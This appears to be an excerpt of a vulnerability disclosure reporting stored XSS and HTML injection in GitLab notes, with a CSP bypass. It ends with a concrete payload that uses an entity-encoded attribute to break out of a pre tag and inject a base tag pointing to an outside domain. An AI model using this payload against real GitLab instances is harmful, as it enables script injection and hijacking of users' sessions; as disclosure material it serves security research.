Stored XSS in Notes (with CSP bypass for gitlab.com)

Summary I read the issue [345657](https://gitlab.com/gitlab-org/gitlab/-/issues/345657) which handles the XSS in notes reported in Hackerone report [1398305](https://hackerone.com/reports/1398305). This issue fixes the reported XSS but leaves the HTML injection that was also mentioned. I don't know …

<pre data-sourcepos="&#34;%22 href=&#34;x&#34;></pre>
<base href=https://joaxcar.com>
<pre x=&#34;">
<code></code></pre>